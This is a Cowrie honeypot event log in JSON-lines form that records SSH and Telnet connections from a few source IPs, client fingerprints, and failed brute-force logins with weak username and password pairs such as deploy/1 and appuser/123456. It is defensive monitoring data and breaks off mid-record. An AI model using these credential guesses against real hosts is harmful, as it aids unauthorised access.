{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15424,"dst_ip":"159.203.135.109","dst_port":23,"session":"126aee4718bd","protocol":"telnet","message":"New connection: 34.79.219.11:15424 (159.203.135.109:23) [session: 126aee4718bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:56.222743Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 7001","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 7001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:56.227182Z","src_ip":"34.79.219.11","session":"126aee4718bd","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:56.245545Z","src_ip":"192.109.200.78","session":"1907c5bc2366","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.219.11","src_port":15440,"dst_ip":"159.203.135.109","dst_port":23,"session":"399c4df2d9ff","protocol":"telnet","message":"New connection: 34.79.219.11:15440 (159.203.135.109:23) [session: 399c4df2d9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:56.388216Z"}
{"eventid":"cowrie.session.closed","duration":0.004889011383056641,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:56.392883Z","src_ip":"34.79.219.11","session":"399c4df2d9ff","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"password","message":"login attempt [fivem/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:56.614517Z","src_ip":"192.109.200.78","session":"1907c5bc2366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.688931703567505,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.135357Z","src_ip":"34.79.219.11","session":"e9ebae580ae1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.0772292613983154,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.138678Z","src_ip":"34.79.219.11","session":"799c1838ce35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.9220032691955566,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.144613Z","src_ip":"34.79.219.11","session":"126aee4718bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.4092681407928467,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.147471Z","src_ip":"34.79.219.11","session":"7279dd7171ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.5702173709869385,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.150015Z","src_ip":"34.79.219.11","session":"4abed9a6e6f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.2207183837890625,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.153506Z","src_ip":"34.79.219.11","session":"3ecc65e1b93c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.7367405891418457,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.156315Z","src_ip":"34.79.219.11","session":"f6663194973e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.9008171558380127,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.158951Z","src_ip":"34.79.219.11","session":"5e23d497c6cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.0646233558654785,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.161690Z","src_ip":"34.79.219.11","session":"37b5986f80b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.4011781215667725,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.169654Z","src_ip":"34.79.219.11","session":"b5684ed64fa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.5662386417388916,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.172354Z","src_ip":"34.79.219.11","session":"e4c25a4f61d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.7305941581726074,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.174889Z","src_ip":"34.79.219.11","session":"bec9ab88bb62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.8962228298187256,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.177412Z","src_ip":"34.79.219.11","session":"28f56d376c2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.0611090660095215,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.179760Z","src_ip":"34.79.219.11","session":"f85d523dd726","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.2247812747955322,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.181875Z","src_ip":"34.79.219.11","session":"cb52c06f9254","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.5505459308624268,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.183431Z","src_ip":"34.79.219.11","session":"24c2eb33874d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.3911948204040527,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.185606Z","src_ip":"34.79.219.11","session":"d6e6b0579efe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.415105819702148,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.187749Z","src_ip":"34.79.219.11","session":"6ac8c3c878f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.256399869918823,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.190043Z","src_ip":"34.79.219.11","session":"af3bed4cc9f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.8817739486694336,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.192343Z","src_ip":"34.79.219.11","session":"dfd25a2d9de5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.124720573425293,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.194870Z","src_ip":"34.79.219.11","session":"9063db11550b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.456733226776123,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.197243Z","src_ip":"34.79.219.11","session":"a3d5e5617cc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.2904603481292725,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.199647Z","src_ip":"34.79.219.11","session":"cfb58f4e51df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.623714923858643,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.202610Z","src_ip":"34.79.219.11","session":"0a45ab62aa62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.787034273147583,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.204902Z","src_ip":"34.79.219.11","session":"9b1fdaa5953f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.950064659118652,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.207005Z","src_ip":"34.79.219.11","session":"9d21b3a4990e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.113833427429199,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.209066Z","src_ip":"34.79.219.11","session":"c0569348cf8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:57.697582Z","src_ip":"192.109.200.78","session":"1907c5bc2366","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41462,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1de8794ee07","protocol":"ssh","message":"New connection: 192.109.200.78:41462 (10.17.0.5:22) [session: e1de8794ee07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:59.653748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:59.657232Z","src_ip":"192.109.200.78","session":"e1de8794ee07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:59.737890Z","src_ip":"192.109.200.78","session":"e1de8794ee07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:54:59.983955Z","src_ip":"192.109.200.78","session":"e1de8794ee07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:01.068310Z","src_ip":"192.109.200.78","session":"e1de8794ee07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36840,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9f25f1ead6c","protocol":"ssh","message":"New connection: 192.109.200.78:36840 (10.17.0.5:22) [session: a9f25f1ead6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:03.296685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:03.301540Z","src_ip":"192.109.200.78","session":"a9f25f1ead6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:03.386231Z","src_ip":"192.109.200.78","session":"a9f25f1ead6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:03.643043Z","src_ip":"192.109.200.78","session":"a9f25f1ead6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:04.734217Z","src_ip":"192.109.200.78","session":"a9f25f1ead6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36848,"dst_ip":"10.17.0.5","dst_port":22,"session":"af6582ebae74","protocol":"ssh","message":"New connection: 192.109.200.78:36848 (10.17.0.5:22) [session: af6582ebae74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:06.731268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:06.735286Z","src_ip":"192.109.200.78","session":"af6582ebae74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:06.819865Z","src_ip":"192.109.200.78","session":"af6582ebae74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:07.184242Z","src_ip":"192.109.200.78","session":"af6582ebae74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:08.268802Z","src_ip":"192.109.200.78","session":"af6582ebae74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":38244,"dst_ip":"10.17.0.5","dst_port":23,"session":"daea3894dbf2","protocol":"telnet","message":"New connection: 132.148.22.172:38244 (10.17.0.5:23) [session: daea3894dbf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:08.810051Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36854,"dst_ip":"10.17.0.5","dst_port":22,"session":"9af1d167603d","protocol":"ssh","message":"New connection: 192.109.200.78:36854 (10.17.0.5:22) [session: 9af1d167603d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:10.334177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:10.338078Z","src_ip":"192.109.200.78","session":"9af1d167603d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:10.421916Z","src_ip":"192.109.200.78","session":"9af1d167603d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:10.667141Z","src_ip":"192.109.200.78","session":"9af1d167603d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:11.758022Z","src_ip":"192.109.200.78","session":"9af1d167603d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51936,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1af03b25e4b","protocol":"ssh","message":"New connection: 192.109.200.78:51936 (10.17.0.5:22) [session: f1af03b25e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:13.692699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:13.697303Z","src_ip":"192.109.200.78","session":"f1af03b25e4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 